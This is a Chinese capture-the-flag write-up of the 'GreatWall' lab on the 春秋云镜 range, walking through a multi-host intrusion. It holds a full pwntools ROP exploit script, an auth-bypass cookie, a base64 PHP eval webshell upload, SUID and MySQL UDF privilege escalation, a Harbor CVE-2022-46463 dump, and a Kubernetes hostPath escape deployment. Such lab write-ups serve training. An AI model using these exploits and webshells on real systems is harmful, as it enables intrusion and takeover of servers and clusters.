春秋云镜-GreatWall

攻防渗透
,

信息收集

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./fscan_mac_arm64 -h 8.130.146.145

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
8.130.146.145:22 open
8.130.146.145:80 open
8.130.146.145:8080 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://8.130.146.145      code:200 len:10887  title:""
[*] WebTitle http://8.130.146.145:8080 code:200 len:1027   title:Login Form
[+] PocScan http://8.130.146.145:8080 poc-yaml-thinkphp5023-method-rce poc1

发现有个php的nday打一下

拿到第一关flag。

内网渗透

看一下内网信息

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172.28.23.33:8080 open
172.28.23.17:8080 open
172.28.23.17:80 open
172.28.23.26:22 open
172.28.23.17:22 open
172.28.23.33:22 open
172.28.23.26:21 open
172.28.23.26:80 open
[*] WebTitle http://172.28.23.17       code:200 len:10887  title:""
[*] WebTitle http://172.28.23.17:8080  code:200 len:1027   title:Login Form
[*] WebTitle http://172.28.23.26       code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话：13849422648微信同号，QQ958756413
[+] ftp 172.28.23.26:21:anonymous 
   [->]OASystem.zip
[*] WebTitle http://172.28.23.33:8080  code:302 len:0      title:None 跳转url: http://172.28.23.33:8080/login;jsessionid=BFE40BF564A0CDAAE033F63CF614758B
[*] WebTitle http://172.28.23.33:8080/login;jsessionid=BFE40BF564A0CDAAE033F63CF614758B code:200 len:3860   title:智联科技 ERP 后台登陆
[+] PocScan http://172.28.23.17:8080 poc-yaml-thinkphp5023-method-rce poc1
[+] PocScan http://172.28.23.33:8080 poc-yaml-spring-actuator-heapdump-file 
[+] PocScan http://172.28.23.33:8080 poc-yaml-springboot-env-unauth spring2

搭建一下代理，同时看到内网有heapdump泄漏的漏洞去下载一下看看能找着什么东西吗

heapdump 泄漏 + shiro反序列化

用内存分析工具分析一下看到shirokey打一下

那么直接打一个内存马进去

不过拿到的权限不是太高需要提个权,去搜集了下信息发现开放了一个端口

但是没有这个端口的进程号不知道具体干嘛的

pwn提权

不过在家目录下找到了个二进制程序，是一个pwn的漏洞，可惜我不会打，于是去网上找了脚本

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from pwn import *
context.arch='amd64'

def add(key,data='b'):
    p.sendlineafter(b'Option:',b'1')
    p.sendlineafter(b'Key:',key)
    p.sendlineafter(b'Data:',data)

def show(key):
    p.sendlineafter(b'Option:',b'2')
    p.sendlineafter(b"Key: ",key);

def edit(key,data):
    p.sendlineafter(b'Option:',b'3')
    p.sendlineafter(b'Key:',key)
    p.sendlineafter(b'Data:',data)

def name(username):
    p.sendlineafter(b'Option:',b'4')
    p.sendlineafter(b'name:',username)


p = remote('172.28.23.33', 59696)
# p = process('./HashNote')

username=0x5dc980
stack=0x5e4fa8
ukey=b'\x30'*5+b'\x31'+b'\x44'

fake_chunk=flat({
    0:username+0x10,
    0x10:[username+0x20,len(ukey),\
        ukey,0],
    0x30:[stack,0x10]
    },filler=b'\x00')

p.sendlineafter(b'name',fake_chunk)
p.sendlineafter(b'word','freep@ssw0rd:3')

add(b'\x30'*1+b'\x31'+b'\x44',b'test')   # 126
add(b'\x30'*2+b'\x31'+b'\x44',b'test')   # 127

show(ukey)
main_ret=u64(p.read(8))-0x1e0

rdi=0x0000000000405e7c # pop rdi ; ret
rsi=0x000000000040974f # pop rsi ; ret
rdx=0x000000000053514b # pop rdx ; pop rbx ; ret
rax=0x00000000004206ba # pop rax ; ret
syscall=0x00000000004560c6 # syscall

fake_chunk=flat({
    0:username+0x20,
    0x20:[username+0x30,len(ukey),\
        ukey,0],
    0x40:[main_ret,0x100,b'/bin/sh\x00']
    },filler=b'\x00')

name(fake_chunk.ljust(0x80,b'\x00'))


payload=flat([
    rdi,username+0x50,
    rsi,0,
    rdx,0,0,
    rax,0x3b,
    syscall
    ])

p.sendlineafter(b'Option:',b'3')
p.sendlineafter(b'Key:',ukey)
p.sendline(payload)
p.sendlineafter(b'Option:',b'9')
p.interactive()

在看看fscan的扫描记录发现还有个ftp的匿名登录去看看，里面有一个压缩包下载下来看看，发现是一个源码去审计一波

代码审计

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<?php  
function islogin(){  
   if(isset($_COOKIE['id'])&&isset($_COOKIE['loginname'])&&isset($_COOKIE['jueseid'])&&isset($_COOKIE['danweiid'])&&isset($_COOKIE['quanxian'])){  
       if($_COOKIE['id']!=''&&$_COOKIE['loginname']!=''&&$_COOKIE['jueseid']!=''&&$_COOKIE['danweiid']!=''&&$_COOKIE['quanxian']!=''){  
           return true;  
       }  
        else {  
          return false;  
       }  
    }  
    else {  
        return false;  
     }  
}  
?>

这里鉴权有问题可以很方便绕过，具体漏洞在uploadbase64.php里

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<?php  
/**  
 * Description: PhpStorm. * Author: yoby * DateTime: 2018/12/4 18:01 * Email:logove@qq.com * Copyright Yoby版权所有  
 */  
$img = $_POST['imgbase64'];  
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $img, $result)) {  
    $type = ".".$result[2];  
    $path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;  
}  
$img =  base64_decode(str_replace($result[1], '', $img));  
@file_put_contents($path, $img);  
exit('{"src":"'.$path.'"}');
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Cookie: id=1; loginname=1; jueseid=1; danweiid=1; quanxian=1;

这样可以直接绕过鉴权登录到后台，然后直接传shell

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POST /uploadbase64.php HTTP/1.1
Host: 172.28.23.26
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Cookie: id=1; loginname=1; jueseid=1; danweiid=1; quanxian=1;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Length: 69
Connection: close
Upgrade-Insecure-Requests::1
Content-Type:application/x-www-form-urlencoded

imgbase64=data:image/php;base64, PD9waHAgQGV2YWwoJF9HRVRbMV0pOyA/Pg==

连接蚁剑,但是执行不了命令去看了下禁用了很多函数

用插件绕一下，LD_PRELOAD能成功不过要改一下，用post方法不行要改成get方法去把自己的原来的shell改成get然后路径换一下就行了

然后还要提个权

suid提权

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http://172.28.23.26/upload/.antproxy.php?1=system(%22find%20/%20-perm%20-u=s%20-type%20f%202%3E/dev/null%22);
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/bin/fusermount /bin/ping6 /bin/mount /bin/su /bin/ping /bin/umount /usr/bin/chfn /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/at /usr/bin/staprun /usr/bin/base32 /usr/bin/passwd /usr/bin/chsh /usr/bin/sudo /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/s-nail/s-nail-privsep

发现一个base32去读一下flag

解码就行了。然后继续传一个stowaway上去用他来拿shell扫描内网

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./fscan -h 172.22.14.6/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.14.37    is alive
(icmp) Target 172.22.14.6     is alive
(icmp) Target 172.22.14.46    is alive
[*] Icmp alive hosts len is: 3
172.22.14.6:22 open
172.22.14.46:80 open
172.22.14.46:22 open
172.22.14.6:80 open
172.22.14.37:22 open
172.22.14.6:21 open
172.22.14.37:10250 open
172.22.14.37:2379 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.22.14.46       code:200 len:785    title:Harbor
[+] InfoScan http://172.22.14.46       [Harbor] 
[*] WebTitle http://172.22.14.6        code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话：13849422648微信同号，QQ958756413
[*] WebTitle https://172.22.14.37:10250 code:404 len:19     title:None
[+] ftp 172.22.14.6:21:anonymous 
   [->]OASystem.zip
[+] PocScan http://172.22.14.46/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]

harbor未授权访问 cve-2022-46463

参考下面这个项目
https://github.com/404tk/CVE-2022-46463

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./proxychains4 -f proxychains.conf python ../../漏洞利用工具/CVE-2022-46463-main/harbor.py http://172.22.14.46/  --dump harbor/secret --v2

udf提权

然后去里面翻翻就可以找到flag。继续下载另一个仓库看看有啥东西，因为还有一个靶机没拿到flag

有一个jar包反编译一下看看配置文件

有数据库信息连接一波用mdut,但是我的mdut写不进去真傻逼，所以去手动连接写入,参考国光

https://www.sqlsec.com/2020/11/mysql.html#%E5%86%99%E5%85%A5%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93

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SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

继续创建一个函数

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CREATE FUNCTION sys_eval RETURNS STRING SONAME  'udf.so'

回头去扫另一个ip

kubernetes 未授权

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172.22.14.6:22 open
172.22.14.46:80 open
172.22.14.46:22 open
172.22.14.6:80 open
172.22.14.37:22 open
172.22.14.6:21 open
172.22.14.37:10250 open
172.22.14.37:2379 open
[*] WebTitle http://172.22.14.46       code:200 len:785    title:Harbor
[+] InfoScan http://172.22.14.46       [Harbor] 
[*] WebTitle http://172.22.14.6        code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话：13849422648微信同号，QQ958756413
[*] WebTitle https://172.22.14.37:10250 code:404 len:19     title:None
[+] ftp 172.22.14.6:21:anonymous 
   [->]OASystem.zip
[+] PocScan http://172.22.14.46/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
172.22.14.37:22 open
172.22.14.37:2379 open
172.22.14.37:2380 open
172.22.14.37:6443 open
172.22.14.37:10250 open
172.22.14.37:10256 open
172.22.14.37:10251 open
172.22.14.37:10252 open
[*] WebTitle http://172.22.14.37:10251 code:404 len:19     title:None
[*] WebTitle http://172.22.14.37:10256 code:404 len:19     title:None
[*] WebTitle http://172.22.14.37:10252 code:404 len:19     title:None
[*] WebTitle https://172.22.14.37:6443 code:200 len:4671   title:None
[*] WebTitle https://172.22.14.37:10250 code:404 len:19     title:None
[+] PocScan https://172.22.14.37:6443 poc-yaml-go-pprof-leak 
[+] PocScan https://172.22.14.37:6443 poc-yaml-kubernetes-unauth

存在 kubernetes 未授权

写一个恶意的yaml

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#evil-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
  labels:
    app: nginx
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.8
        volumeMounts:
        - mountPath: /mnt
          name: test-volume
      volumes:
      - name: test-volume
        hostPath:
          path: /

然后创建pod

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./kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f exp.yaml

列出pod

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./kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods

进入pod

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./kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment-864f8bfd6f-t9p5r -- /bin/bash ## 这里是一个坑网上的没有加 -- 可能是版本的原因

已经获取权限了，直接读历史

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cat /mnt/root/.mysql_history

正常做法都是公钥连上去到数据库里读去flag